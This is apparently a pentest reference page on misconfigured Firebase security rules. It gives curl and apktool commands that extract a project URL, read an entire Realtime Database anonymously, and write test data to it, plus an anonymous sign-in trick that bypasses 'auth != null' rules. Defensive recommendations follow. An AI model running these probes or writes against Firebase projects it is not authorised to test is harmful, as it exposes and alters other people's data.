Firebase misconfiguration

Firebase misconfiguration

TL;DR: Public-read realtime DB at .firebaseio.com; unauthenticated REST API access to entire datastore.

What it is

Firebase Realtime Database, Cloud Firestore, and Cloud Storage all ship with a security-rules language that gates reads and writes. The default scaffolding generated by Firebase CLI used to be allow read, write: if true; and many projects ship variants of that to production. The REST endpoint at https://<project>.firebaseio.com/.json then returns the entire tree to anonymous callers.

Preconditions / where it applies

  • Mobile app or SPA backed by Firebase services
  • Project ID can be discovered from the app bundle (google-services.json, GoogleService-Info.plist) or JS source (firebaseConfig object)
  • Realtime DB or Firestore rules misconfigured (true predicates, leaked admin uids)
  • Cloud Storage bucket with allow read: if true;

Technique

Extract project ID from the target:

1
2
3
4
5

# decompile APK
apktool d app.apk
grep -r firebase_database_url res/values/strings.xml
# or web app source
curl -s https://target.com/main.js | grep -oE 'https://[a-z0-9-]+\.firebaseio\.com'

Probe the realtime DB root:

1
2
3
4

curl -s "https://<project>.firebaseio.com/.json?print=pretty"
# 401 → auth required (good)
# 200 + JSON tree → public read
# {"error":"Permission denied"} → properly locked

Write test:

1

curl -X PUT -d '"pwn"' "https://<project>.firebaseio.com/test.json"

For Firestore, the REST API is more involved but runQuery against firestore.googleapis.com/v1/projects/<id>/databases/(default)/documents works similarly. For Storage, list with https://firebasestorage.googleapis.com/v0/b/<bucket>/o.

Auth bypass via anonymous sign-in: if the project enables anonymous auth, request an ID token via identitytoolkit.googleapis.com/v1/accounts:signUp?key=<API_KEY>, then re-request with the token — rules of form if request.auth != null are now satisfied.

Tooling: firebase-extractor, firepwn, nuclei firebase-database-detect.yaml.

Detection and defence

  • Replace any allow read, write: if true; with rules tied to request.auth.uid and document/path ownership
  • Disable anonymous sign-in unless required, and never grant it broad permissions
  • Use App Check to bind requests to your verified app
  • Monitor firebaseio.com access logs in GCP for spikes from unknown ASNs
  • Treat Firebase project IDs and API keys as public — security must live in the rules layer

References